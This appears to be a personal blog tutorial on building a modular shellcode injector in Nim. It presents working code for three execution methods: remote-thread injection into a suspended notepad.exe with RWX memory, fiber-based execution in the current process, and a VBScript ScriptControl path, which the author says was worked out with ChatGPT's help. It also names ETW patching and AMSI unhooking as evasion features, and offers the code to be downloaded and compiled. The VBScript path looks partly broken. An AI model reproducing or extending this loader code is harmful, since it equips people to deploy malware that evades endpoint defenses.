why
One of the main advantages of creating a modular malware is that it allows you to break down the malware into smaller, more manageable components. By doing this, you can more easily focus on specific features and functionalities of the malware, such as patching ETW or unhooking AMSI. This makes it easier to understand how each feature works, and it also makes it easier to test and debug each component individually.
Creating a modular malware also helps you to develop a deeper understanding of how malware works as a whole. By breaking down the malware into smaller components, you can see how each component interacts with other components to create the overall behavior of the malware
The Approach
After implementing a shellcode injector in a language of your choice the next step is to continue learning by adding more features to it.
My approach of doing this was to take an injector I programmed in nim and split it up into 2 files. One file was the main file and the other was the file that handles execution.
I then used compiler flags to `define` different flags. These where used to select what execution approach to use. I started off with 2 these being using Threads and using Fibers
I had a main file that defined the shellcode and then called a function inject this function was defined 2 times in execution file. Either one was only included in the compilation if a certain flag was provided.
The flags where:
- USE_CRT
- USE_FIBERS
Later I implemented more approaches but the point is to look at new ideas and try to see how you can implement them into your own project.
CreateRemoteThread
When USE_CRT is defined the inject function looks like this:
Code: Click to show
when defined(USE_CRT): import osproc proc inject*[I, T](shellcode: array[I, T]): void = let tProcess = startProcess("notepad.exe") tProcess.suspend() defer: tProcess.close() echo "[CRT] Target process: ", tProcess.processID let pHandle = OpenProcess( PROCESS_ALL_ACCESS, false, cast[DWORD](tProcess.processID) ) defer: CloseHandle(pHandle) echo "[CRT] pHandle: ", pHandle let rPtr = VirtualAllocEx( pHandle, NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE ) var bytesWritten: SIZE_T let wSuccess = writeMemory( pHandle, rPtr, shellcode ) echo "[CRT] WriteProcessMemory: ", bool(wSuccess) let tHandle = CreateRemoteThread( pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL ) defer: CloseHandle(tHandle) echo "[CRT] tHandle: ", tHandle echo "[CRT] Shellcode injected!"
Fibers
When USE_FIBERS is defined the inject function looks like this:
Code: Click to show
when defined(USE_FIBERS): proc inject*[I, T](shellcode: array[I, T]): void = let MasterFiber = ConvertThreadToFiber(NULL) echo "[FIBER] New Fiber Pointer: ", repr(MasterFiber) let vAlloc = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE) var bytesWritten: SIZE_T let pHandle = GetCurrentProcess() echo "[FIBER] pHandle: ", repr(pHandle) WriteProcessMemory(pHandle, vAlloc, unsafeaddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten) echo "[FIBER] bytesWritten: ", repr(bytesWritten) let xFiber = CreateFiber(0, cast[LPFIBER_START_ROUTINE](vAlloc), NULL) echo "[FIBER] Fiber Execution Pointer: ", repr(xFiber) SwitchToFiber(xFiber)
Implementing Your Own Custom Ideas
Of course you can have a working injector by simply downloading this code and compiling however the learning comes in implementing your own ideas into your own project.
I remember working with VBScript when i was in MS Access to help with styling and knew the WinAPI is implemented in it. Using this idea I worked with chatGPT to try develop a way of calling VBScript from inside nim
I found a way of doing this and eventually through trial and error managed to implement a way of executing the shellcode in a VBScript instance.
Visual Basic (WScript.exe)
When USE_VBSCRIPT is defined the inject function looks like this:
Code: Click to show
when defined(USE_VBSCRIPT): import strformat import system import winim/com when defined(amd64): echo "[VBSCRIPT EXECUTION] only supports windows i386 version" quit(1) proc inject*[I, T](shellcode: array[I, T]): void {.inline.} = var obj = CreateObject("MSScriptControl.ScriptControl") obj.allowUI = true obj.useSafeSubset = false obj.language = "VBScript" var buffer = "" for i in shellcode: #makes the shellcode into space seperated hex values for VBSCRIPT to parse buffer.add(fmt"{i:02X}") var vbs = fmt""" Dim shellcode shellcode = "{$buffer}" Dim buffer buffer = "" For i = 1 To Len(shellcode) Step 2 buffer = buffer & Chr(CByte("&H" & Mid(shellcode, i, 2))) Next Dim exec Set exec = WScript.CreateObject("WScript.Shell") exec.Run buffer """ obj.eval(vbs)